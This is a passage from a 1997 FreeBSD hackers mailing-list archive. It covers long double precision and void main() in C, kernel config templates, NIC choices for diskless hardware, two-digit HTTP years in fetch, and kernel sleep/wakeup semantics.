with this. :) It's an invalid > definition of main, thus the behaviour is implementation-dependant. > gcc could have exited immediately without violating the standard. ahhh! :) everyone says this - but exit() never returns, so main never returns anything, so IMHO, main should always be type void. > Also, your blatant use of unsigned char for everything doesn't look > right. At least with gcc, using an unsigned char as a loop index > counter isn't doing any good and is likely to slow down your code. It > doesn't save space at all, since (i think) %dh, %dl, and %edx are all > a single register for gcc, regardless of how many bits you're using. yes, i know. but this is code i'm porting! apple2 -> msdos -> bsd (it's been around :) plus, there are other reasons (shifting, etc.) i work on many systems, including embedded XT's. > -- > cheers, J"org thanks. as you can see below, DOS long doubles and powl() keep all my accuracy ... whereas BSD can't even subtract 9 from 18446744073709551616.000000. please help me! :) > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) BSD - ffffffffffffffff 15.000000 - ffffffffffffffff 255.000000 - ffffffffffffffff 4095.000000 - ffffffffffffffff 65535.000000 - ffffffffffffffff 1048575.000000 - ffffffffffffffff 16777215.000000 - ffffffffffffffff 268435455.000000 - ffffffffffffffff 4294967295.000000 - ffffffffffffffff 68719476735.000000 - ffffffffffffffff 1099511627775.000000 - ffffffffffffffff 17592186044415.000000 - ffffffffffffffff 281474976710655.000000 - ffffffffffffffff 4503599627370495.000000 - ffffffffffffffff 72057594037927936.000000 <- loss of precision - ffffffffffffffff 1152921504606846976.000000 - ffffffffffffffff 18446744073709551616.000000 + 18446744073709551616.000000 + 18446744073709551616.000000 (this should be the result above - 9) - 0fffffffffffffff 18446744073709551616.000000 - 00ffffffffffffff 1152921504606846976.000000 - 000fffffffffffff 72057594037927936.000000 - 0000ffffffffffff 4503599627370496.000000 - 00000fffffffffff 281474976710656.000000 - 000000ffffffffff 17592186044416.000000 - 0000000fffffffff 1099511627776.000000 - 00000000ffffffff 68719476736.000000 - 000000000fffffff 4294967296.000000 - 0000000000ffffff 268435456.000000 - 00000000000fffff 16777216.000000 - 000000000000ffff 1048576.000000 - 0000000000000fff 65536.000000 - 00000000000000ff 4096.000000 - 000000000000000f 256.000000 - 0000000000000000 16.000000 - 00000000000000001 1.000000 10000000000000000 DOS - ffffffffffffffff 15.000000 - ffffffffffffffff 255.000000 - ffffffffffffffff 4095.000000 - ffffffffffffffff 65535.000000 - ffffffffffffffff 1048575.000000 - ffffffffffffffff 16777215.000000 - ffffffffffffffff 268435455.000000 - ffffffffffffffff 4294967295.000000 - ffffffffffffffff 68719476735.000000 - ffffffffffffffff 1099511627775.000000 - ffffffffffffffff 17592186044415.000000 - ffffffffffffffff 281474976710655.000000 - ffffffffffffffff 4503599627370495.000000 - ffffffffffffffff 72057594037927935.000000 - ffffffffffffffff 1152921504606846975.000000 - ffffffffffffffff 18446744073709551615.000000 + 18446744073709551616.000000 + 18446744073709551605.000000 - ffffffffffffffff 18446744073709551615.000000 - ffffffffffffffff 1152921504606846975.000000 - ffffffffffffffff 72057594037927935.000000 - ffffffffffffffff 4503599627370495.000000 - ffffffffffffffff 281474976710656.000000 - ffffffffffffffff 17592186044415.000000 - ffffffffffffffff 1099511627775.000000 - ffffffffffffffff 68719476735.000000 - ffffffffffffffff 4294967295.000000 - ffffffffffffffff 268435455.000000 - ffffffffffffffff 16777215.000000 - ffffffffffffffff 1048575.000000 - ffffffffffffffff 65535.000000 - ffffffffffffffff 4095.000000 - ffffffffffffffff 255.000000 - ffffffffffffffff 15.000000 ffffffffffffffff ------------------------------------------------------------------------- Sleep: a sign a caffeine deprivation ... http://www.anchorage.net/~un_x ------------------------------------------------------------------------- From owner-freebsd-hackers Sat May 31 13:29:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA10979 for hackers-outgoing; Sat, 31 May 1997 13:29:49 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA10974 for ; Sat, 31 May 1997 13:29:46 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id NAA09909 for ; Sat, 31 May 1997 13:30:13 -0700 (PDT) To: hackers@freebsd.org Subject: LINT and GENERIC - between a rock and a generic place. Date: Sat, 31 May 1997 13:30:12 -0700 Message-ID: <9876.865110612@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk More and more people are trying to use GENERIC as a template for their own kernels and they're losing, of course, because generic sets many limits (like max children or open files) too low. Unfortunately, every time this issue has come up in the past it's also followed a rather set course, in 3 distinct stages: 1. Someone starts off the discussion with "Well, why don't we just make up some canned NEWS_SERVER, DESKTOP, WEB_SERVER and so on config files? We can put comments at the beginning of each about how the user should customize that file to fit certain situations and Bob's your bloody uncle, we're there!" Things would probably progress well from there if it weren't for the stage-II participants in this discussion who then come up and say: 2. "Hey, that's gross. What we really need here is a config file metaformat which encodes all the information in LINT in such a way that menus and choiceboxes and such can be build dynamically to configure all the items there, and if you want canned configs then then we just bundle them with the config tool as starter-settings and we don't have to clutter up /sys/i386/conf. Say, has anyone looked at Linux's ``make xconfig?'' 3. The discussion now veers into a debate on the merits/evils of Linux's kernel configurator, how config is just totally broken anyway and we really need to get rid of it and its lousy config files altogether, so on and so forth. The first group slinks away, ashamed that they could have even proposed such a low-tech solution as putting more sample files into /sys/i386/conf. Meanwhile, of course, the users continue to use GENERIC (or worse, LINT) as their only available guides and they continue to walk off cliffs, year after year. How shall we conduct the debate this time? Same old same old, or something genuinely productive? :-) Jordan From owner-freebsd-hackers Sat May 31 13:53:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA12110 for hackers-outgoing; Sat, 31 May 1997 13:53:23 -0700 (PDT) Received: from iceberg.anchorage.net. (root@iceberg.anchorage.net [207.14.72.150]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA12088 for ; Sat, 31 May 1997 13:53:18 -0700 (PDT) Received: from aak.anchorage.net (ai-131 [207.14.72.131]) by iceberg.anchorage.net. (8.6.11/8.7.3) with SMTP id LAA00517; Sat, 31 May 1997 11:49:47 -0800 Date: Sat, 31 May 1997 12:42:33 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: Bruce Evans cc: freebsd-hackers Subject: Re: Borland 16bit bcc vs cc/gcc (float) In-Reply-To: <199705310930.TAA08679@godzilla.zeta.org.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 31 May 1997, Bruce Evans wrote: > This code needs to use nonstandard long double math functions > (powl() and fmodl()) to work for values > DBL_MAX. FreeBSD > does not support these functions. > This code also requires long double precision to actually work. > Long double precision is not the default in FreeBSD. You can > set it using fpsetprec(). i don't have a man page for fpsetprec() (2.2.1). how do i find out about it? and if i set "long double" precision, will pow/fmod, etc, work as powl/fmodl ? > Printing of long double values with full precision is not > supported in FreeBSD. This is why the same value is printed > for `ld-9' as for `ld'. are there plans to? why shouldn't it? > >I'm not much surprised that the use of non-standard components (long > >double) produces unexpected results. You multiply a long double with > >a double (result of pow()), so who tells you whether the compiler does > >it by first extending the result of pow() to long double format (thus > >`inventing' missing precision digits), or by first truncating the long > >double (although i wouldn't expect this)? > > The ANSI C standard :-). However, the standard doesn't specify that > long double precision is strictly more precise than double precsision > or the amount of precision of double precsision. right. and sizeof() tells me there is a difference. float = 4 bytes double = 8 bytes long double = 12 bytes it seems a little silly to have long doubles, and not to be able to make good use of them! :) you can't use them with math functions ... you can't print them ... /*****************************************************************************/ unsigned char *ftous (unsigned char *s, long double val, unsigned char base) { /* float to unsigned string */ /* if base>10 adjust */ unsigned char *p=s; /* to alpha numeral */ if ( val < 0 ) val = -val; /* val+=0.49999999; <- needed for Borland C */ ^^^^^^^^^^^^^^^ Shouldn't be necessary. The algorithm requires `val' to have no fractional part. do { *p++ = itoan(fmod(val, base)); printf("- %s %Lf\n", s, val); val/=base; ^^^^^^^^^ > Bug. The fractional part needs to be subtracted somewhere, perhaps > using `val = floor(val / base);' here. actually, speed is too important to call floor() each time. i don't see why i should have to, i find precision always rounds down (in fact, that's why i do the .49999999 thing). i've been using the code for years, and it works fine with 64 bit string-int conversions, (under DOS ...). } while ( val >= 1 ); *p = 0; return( strrvs(s, 0) );} /*****************************************************************************/ From owner-freebsd-hackers Sat May 31 13:58:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA12496 for hackers-outgoing; Sat, 31 May 1997 13:58:17 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA12490 for ; Sat, 31 May 1997 13:58:14 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id NAA01794; Sat, 31 May 1997 13:58:28 -0700 (PDT) To: Steve Howe cc: Joerg Wunsch , freebsd-hackers Subject: Re: Borland 16bit bcc vs cc/gcc (float) In-reply-to: Your message of "Sat, 31 May 1997 12:03:38 -0800." Date: Sat, 31 May 1997 13:58:28 -0700 Message-ID: <1790.865112308@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > ahhh! :) everyone says this - but exit() never returns, so main > never returns anything, so IMHO, main should always be type void. Uh.. I think you're fundamentally unclear on the concept of main() if you think exit() is the only way out. :-) In fact, weren't you also the guy who was unlear on the precedence of = vs == ? If so, I think you _really_ need to go by a C book and do some brushing up. ;) I recommend Harbison & Steele. Jordan From owner-freebsd-hackers Sat May 31 14:08:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA12833 for hackers-outgoing; Sat, 31 May 1997 14:08:52 -0700 (PDT) Received: from shrimp.dataplex.net (shrimp.dataplex.net [208.2.87.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA12825 for ; Sat, 31 May 1997 14:08:45 -0700 (PDT) Received: from [208.2.87.4] (cod.dataplex.net [208.2.87.4]) by shrimp.dataplex.net (8.8.5/8.8.5) with ESMTP id QAA12329; Sat, 31 May 1997 16:07:38 -0500 (CDT) X-Sender: rkw@shrimp.dataplex.net Message-Id: In-Reply-To: <9876.865110612@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 31 May 1997 16:06:57 -0500 To: "Jordan K. Hubbard" From: Richard Wackerbarth Subject: Re: LINT and GENERIC - between a rock and a generic place. Cc: hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 3:30 PM -0500 5/31/97, Jordan K. Hubbard wrote: >More and more people are trying to use GENERIC as a template for their >own kernels and they're losing, of course, because generic sets many >limits (like max children or open files) too low. >1. Someone starts off the discussion with "Well, why don't we just make up > some canned NEWS_SERVER, DESKTOP, WEB_SERVER and so on config files? > We can put comments at the beginning of each about how the user should > customize that file to fit certain situations and Bob's your bloody > uncle, we're there!" "Well, why don't we just make up some canned NEWS_SERVER, DESKTOP, WEB_SERVER and so on config files? We can put comments at the beginning of each about how the user should customize that file to fit certain situations and Bob's your bloody uncle, we're there!" "What we really need here is a config file metaformat which encodes all the information ..." And I know somebody would be willing to help commit/debug/etc. it once someone else wrote it. However, in the interim, the first "solution" is 1) low tech, 2) small, and 3) easily replaced when something better exists. You can guess how I would "vote". From owner-freebsd-hackers Sat May 31 14:14:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA13317 for hackers-outgoing; Sat, 31 May 1997 14:14:15 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA13308 for ; Sat, 31 May 1997 14:14:13 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id OAA10085; Sat, 31 May 1997 14:13:57 -0700 (MST) From: Don Yuniskis Message-Id: <199705312113.OAA10085@seagull.rtd.com> Subject: Re: diskless hardware *design* suggestions To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Sat, 31 May 1997 14:13:56 -0700 (MST) Cc: dgy@rtd.com, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <199705250353.NAA11327@genesis.atrad.adelaide.edu.au> from "Michael Smith" at May 25, 97 01:23:18 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that Michael Smith said: > Don Yuniskis stands accused of saying: > > I'm hacking together an SC400 (486/66 PC on a chip) based design > > and would like that design to serve double duty as the core of an > > FBSD-based diskless system (e.g., a small X-terminal). > > Hey, neat. What VGA CRTC were you planning on using? Haven't yet decided since that would be a daughterboard, anyway. BTW, the SC400 includes support for direct drive of an LCD display, etc. It *could* be kludged to drive a CRT with a small effort... > > Unfortunately, none of the x86 MCU's are particularly > > tolerant of external bus masters. And, sharing memory tends to > > clutter these designs quickly. So, DMA is the only *painless* > > way to interface to the core. > > DMA is not common with NICs. Shared memory (usually controlled by > the NIC) and programmed I/O are the norm. Yes. Those NIC's that support DMA tend to be bus-mastering themselves -- hence my problem! > > As such, are there any good suggestions for NIC's that would > > fit well in this architecture? Preferably fast ethernet? Very > > high integration is desirable to keep the size of the box down to > > a minimum (i.e. PC/104 form factor). > > There aren't a great number of fast ethernet chipsets, and even fewer > designed for tight ISA-style integration. There is, however, a > plethora of 10Mbps chipsets that might suit; consider the Crystal > CS89x0, SMC 91cxx, NatSemi 83c90x etc. > > Depending on the actual situation, you may find that the AMD PC-Net or > Intel 825xx parts are suitable too. would strongly suggest chasing the > SMC and NatSemi websites for details on any potential 100Mbps parts. AMD's devices that are interesting all want to be bus masters. Some of SMC's newer parts are somewhat appealing (10Base* devices with integrated RAM, etc.). Still no clear cut "winners", though... it's unfortunate that all the [34]86 MCU's have either missing DRAM controllers or poor/nonexistent support for bus mastering (obviously because they would have to drive the bus back *into* the MCU core...) thx! --don From owner-freebsd-hackers Sat May 31 14:15:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA13434 for hackers-outgoing; Sat, 31 May 1997 14:15:07 -0700 (PDT) Received: from radford.i-plus.net (root@Radford.i-Plus.net [206.99.237.6]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA13410 for ; Sat, 31 May 1997 14:15:00 -0700 (PDT) Received: from abyss (pitlord@Abyss.i-plus.net [206.99.237.44]) by radford.i-plus.net (8.8.5/8.8.5) with SMTP id RAA02809; Sat, 31 May 1997 17:12:54 -0400 (EDT) Message-Id: <199705312112.RAA02809@radford.i-plus.net> X-Mailer: Microsoft Outlook Express 4.71.0544.0 From: "Troy Settle" To: "Brian Somers" , "Terry Lambert" Cc: Subject: Re: fetch Date: Sat, 31 May 1997 17:13:51 -0400 X-Priority: 3 X-MSMail-Priority: Normal MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-MimeOLE: Produced By Microsoft MimeOLE Engine V4.71.0544.0 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk From: Terry Lambert >> Hi, >> >> My ISP (demon.co.uk) sends http dates like this: >> >> Sat, 31-May-97 10:48:56 GMT >> >> According to http.c in the fetch sources, it's expecting >> a full year here, ie. >> >> Sat, 31-May-1997 10:48:56 ..... >> >> Has anyone any objection to me making it allow the first ? > >As long as you treat it as the year 0097, no objection at all; >otherwise you are introducing a year 2000 error. > >Has demon refused to correct their server software? Or have >they not been asked? > Why not treat a 2 digit year as a year in the current century? no y2k problem. no y3k problem, etc.. Really though, a 2 digit year is just a lazy way of writing the date. It's human readable, but is a pain for software to interpret correctly. There's no reason for any software to use a 2 digit year except for formatted user input/output. Just an opinion, -- Troy Settle Network Administrator, iPlus Internet Services http://www.i-Plus.net From owner-freebsd-hackers Sat May 31 14:19:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA13815 for hackers-outgoing; Sat, 31 May 1997 14:19:27 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA13809 for ; Sat, 31 May 1997 14:19:25 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by agora.rdrop.com (8.8.5/8.8.5) with SMTP id OAA10131 for ; Sat, 31 May 1997 14:19:21 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id WAA22410; Sat, 31 May 1997 22:44:21 +0200 From: Luigi Rizzo Message-Id: <199705312044.WAA22410@labinfo.iet.unipi.it> Subject: Re: WHy does Appache eat my system? To: terry@lambert.org (Terry Lambert) Date: Sat, 31 May 1997 22:44:21 +0200 (MET DST) Cc: julian@whistle.com, julian@alpo.whistle.com, hackers@FreeBSD.ORG In-Reply-To: <199705311825.LAA10995@phaeton.artisoft.com> from "Terry Lambert" at May 31, 97 11:25:00 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Secondly, the identifier used in tsleep/wakeup is actually hashed > > and collisions might occur. Since the hash table is relatively > > small (128 entries) collisions are not that unlikely. > > This is an error. The usage of the tsleep() family of functions > requires that a unique sleep address be treated uniquely. I think > maybe you are misreading the code. you are very right, I did not see a test "if (p->p_wchan == ident) {" in wakeup(). > SVR4 implements a "wakeone" function in addition to "wakeup". For > the reasons noted in my other post, this is not an optimal soloution. There appears to be a wakeup_one() function in the same file as wakeup(), but it is never used (or so it seems, after grepping the source tree). Cheers Luigi From owner-freebsd-hackers Sat May 31 14:27:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA14356 for hackers-outgoing; Sat, 31 May 1997 14:27:52 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA14351 for ; Sat, 31 May 1997 14:27:32 -0700 (PDT) Received: from localhost (tom@localhost) by misery.sdf.com (8.8.5/8.8.5) with SMTP id OAA05065; Sat, 31 May 1997 14:26:49 -0700 (PDT) X-Authentication-Warning: misery.sdf.com: tom owned process doing -bs Date: Sat, 31 May 1997 14:26:48 -0700 (PDT) From: Tom Samplonius To: "Jordan K. Hubbard" cc: hackers@FreeBSD.ORG Subject: Re: LINT and GENERIC - between a rock and a generic place. In-Reply-To: <9876.865110612@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 31 May 1997, Jordan K. Hubbard wrote: > More and more people are trying to use GENERIC as a template for their > own kernels and they're losing, of course, because generic sets many > limits (like max children or open files) too low. Now that we have login.conf this is pretty much a dead issue isn't it? Why heavily customize the kernel config file, when you can do it with login.conf? In fact the stock login.conf already has a "news" class for news server. I'm already working on removing all the customizations out of my kernel config files, in order to use the more generic login.conf system. Besides the login.conf allows these to be set on a user by user basis. You can't do this with the kernel config. This is real important with dual-use servers. Tom From owner-freebsd-hackers Sat May 31 14:35:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA14964 for hackers-outgoing; Sat, 31 May 1997 14:35:46 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA14953 for ; Sat, 31 May 1997 14:35:43 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id OAA11723; Sat, 31 May 1997 14:33:10 -0700 From: Terry Lambert Message-Id: <199705312133.OAA11723@phaeton.artisoft.com> Subject: Re: fetch To: rewt@i-Plus.net (Troy Settle) Date: Sat, 31 May 1997 14:33:10 -0700 (MST) Cc: brian@awfulhak.org, terry@lambert.org, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199705312112.RAA02809@radford.i-plus.net> from "Troy Settle" at May 31, 97 05:13:51 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Why not treat a 2 digit year as a year in the current century? no > y2k problem. no y3k problem, etc.. That's actually *why* there is a year 2k problem. Say I want to schedule a conference in 2001... > Really though, a 2 digit year is just a lazy way of writing the date. > It's human readable, but is a pain for software to interpret > correctly. There's no reason for any software to use a 2 digit year > except for formatted user input/output. That's because we have the context in the huge amount of text which accompanies the date to know if it is something that has been scheduled to occur, or something which has already occurred. I would prefer that it be treated as a counting value, that is, N digits is the same as 0 followed by N-1 digits, for this reason. If you awnt the date represented correctly, why then use the correct number of digits. For people ho don't care about "19xx" vs. "20xx", they should equally not care about "00xx". Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat May 31 14:38:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA15278 for hackers-outgoing; Sat, 31 May 1997 14:38:44 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA15265 for ; Sat, 31 May 1997 14:38:39 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id OAA11743; Sat, 31 May 1997 14:36:17 -0700 From: Terry Lambert Message-Id: <199705312136.OAA11743@phaeton.artisoft.com> Subject: Re: LINT and GENERIC - between a rock and a generic place. To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sat, 31 May 1997 14:36:17 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <9876.865110612@time.cdrom.com> from "Jordan K. Hubbard" at May 31, 97 01:30:12 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > More and more people are trying to use GENERIC as a template for their > own kernels and they're losing, of course, because generic sets many > limits (like max children or open files) too low. > > Unfortunately, every time this issue has come up in the past it's also > followed a rather set course, in 3 distinct stages: > [ ... ] The problem with all of these stages is fanout. No matter which "configuration" I select (is a 4 user config ever really optimal for *any* usage???), I need the same controllers and virtual devices on my machine, regardless of how many vnodes I allow to be active at one time. The config needs to be seperated into "machine" and "usage" portions, IMO. Maybe adding the ability to use #include (or equivalent) is really the thing to do, instead. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat May 31 14:39:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA15414 for hackers-outgoing; Sat, 31 May 1997 14:39:58 -0700 (PDT) Received: from radford.i-plus.net (root@Radford.i-Plus.net [206.99.237.6]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA15394 for ; Sat, 31 May 1997 14:39:53 -0700 (PDT) Received: from abyss (pitlord@Abyss.i-plus.net [206.99.237.44]) by radford.i-plus.net (8.8.5/8.8.5) with SMTP id RAA03054; Sat, 31 May 1997 17:38:32 -0400 (EDT) Message-Id: <199705312138.RAA03054@radford.i-plus.net> X-Mailer: Microsoft Outlook Express 4.71.0544.0 From: "Troy Settle" To: , "Jordan K. Hubbard" Subject: Re: LINT and GENERIC - between a rock and a generic place. Date: Sat, 31 May 1997 17:29:23 -0400 X-Priority: 3 X-MSMail-Priority: Normal MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-MimeOLE: Produced By Microsoft MimeOLE Engine V4.71.0544.0 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk From: Jordan K. Hubbard >More and more people are trying to use GENERIC as a template for their >own kernels and they're losing, of course, because generic sets many >limits (like max children or open files) too low. Been there, it was rather rough the first couple times I tried building a kernel, but now, on the rare occasions I do build a kernel, I have a web broser open with the handbook loaded up. Just a step-by-step process. >Unfortunately, every time this issue has come up in the past it's also >followed a rather set course, in 3 distinct stages: [stage descritptions gone away] >Meanwhile, of course, the users continue to use GENERIC (or worse, >LINT) as their only available guides and they continue to walk off >cliffs, year after year. > >How shall we conduct the debate this time? Same old same old, or >something genuinely productive? :-) A user's perspective: After using FreeBSD for about a year, both at home and at work, it's perks and styles are slowly becoming second nature to me, but... as a first step, I like the idea of having some canned config files for people to work off of. It would have made it a lot easier when I first started out. I spent 2 years working with linux, and was almost totally lost when it came time to build my first FreeBSD kernel. After spending 2 years with Linux's make config, and make xconfig, I had grown accustomed to it. I would like to see a configuration script along those lines, with some preset configurations to work from. Though I probably wouldn't use it except on the off chance I installed a new box that had a radically different hardware config than any of the others I'm currently maintaining. Just my $.03 (inflation ya know :^) -- Troy Settle Network Administrator, iPlus Internet Services http://www.i-Plus.net From owner-freebsd-hackers Sat May 31 15:02:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA17497 for hackers-outgoing; Sat, 31 May 1997 15:02:02 -0700 (PDT) Received: from brickbat9.mindspring.com (brickbat9.mindspring.com [207.69.200.12]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA17489 for ; Sat, 31 May 1997 15:01:58 -0700 (PDT) Received: from bogus.mindspring.com (user-37kb9f2.dialup.mindspring.com [207.69.165.226]) by brickbat9.mindspring.com (8.8.5/8.8.5) with SMTP id RAA00869; Sat, 31 May 1997 17:57:18 -0400 (EDT) Message-Id: <1.5.4.32.19970531220152.008b46f0@mindspring.com> X-Sender: kpneal@mindspring.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 31 May 1997 18:01:52 -0400 To: Steve Howe From: "Kevin P. Neal" Subject: Re: Borland 16bit bcc vs cc/gcc (float) Cc: freebsd-hackers Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 12:03 PM 5/31/97 -0800, Steve Howe wrote: > >On Sat, 31 May 1997, J Wunsch wrote: > >> > void main (unsigned char argc, unsigned char **argv) { > >> Don't get caught in comp.lang.c with this. :) It's an invalid >> definition of main, thus the behaviour is implementation-dependant. >> gcc could have exited immediately without violating the standard. > >ahhh! :) everyone says this - but exit() never returns, so main >never returns anything, so IMHO, main should always be type void. Who says you always have to use exit()? In fact, I've observed C++ code that never calls the destructors if you exit() of out a program. All of my programs return(0); out of main(). After all, main() is not special in any way, other than being the conventional entry point of user written code. If you wanted to write your own entry code (crt0.o or whatever) you wouldn't even need main(). I've seen AmigaDOS programs that had no main(). This is one of my favorite rants. I gave a friend of mine the 15 minute explanation of why void main() is wrong, and he told his instructor. She placed him out of her class and into the next one up. -- XCOMM Kevin P. Neal, Junior, Comp. Sci. - House of Retrocomputing XCOMM mailto:kpneal@pobox.com - http://www.pobox.com/~kpn/ XCOMM kpneal@eos.ncsu.edu Spoken by Keir Finlow-Bates: XCOMM "Good grief, I've just noticed I've typed in a rant. Sorry chaps!" From owner-freebsd-hackers Sat May 31 15:53:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA21113 for hackers-outgoing; Sat, 31 May 1997 15:53:06 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA21108 for ; Sat, 31 May 1997 15:53:02 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id PAA11870; Sat, 31 May 1997 15:49:17 -0700 From: Terry Lambert Message-Id: <199705312249.PAA11870@phaeton.artisoft.com> Subject: Re: LINT and GENERIC - between a rock and a generic place. To: tom@sdf.com (Tom Samplonius) Date: Sat, 31 May 1997 15:49:17 -0700 (MST) Cc: jkh@time.cdrom.com, hackers@FreeBSD.ORG In-Reply-To: from "Tom Samplonius" at May 31, 97 02:26:48 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Sat, 31 May 1997, Jordan K. Hubbard wrote: > > > More and more people are trying to use GENERIC as a template for their > > own kernels and they're losing, of course, because generic sets many > > limits (like max children or open files) too low. > > Now that we have login.conf this is pretty much a dead issue isn't it? > Why heavily customize the kernel config file, when you can do it with > login.conf? In fact the stock login.conf already has a "news" class for > news server. Jordan is speaking to hard limits. The login.conf speaks to soft limits, and is still limited to what it can set by the hard limits. The hard limits are the result of static allocations, general at initialization time before the kernel is really running, like globally declared arrays. AIX was probably right when it made all this stuff dynamic. Then you could at least sysctl the "hard limit" after the machine was up. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat May 31 15:55:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA21235 for hackers-outgoing; Sat, 31 May 1997 15:55:28 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au 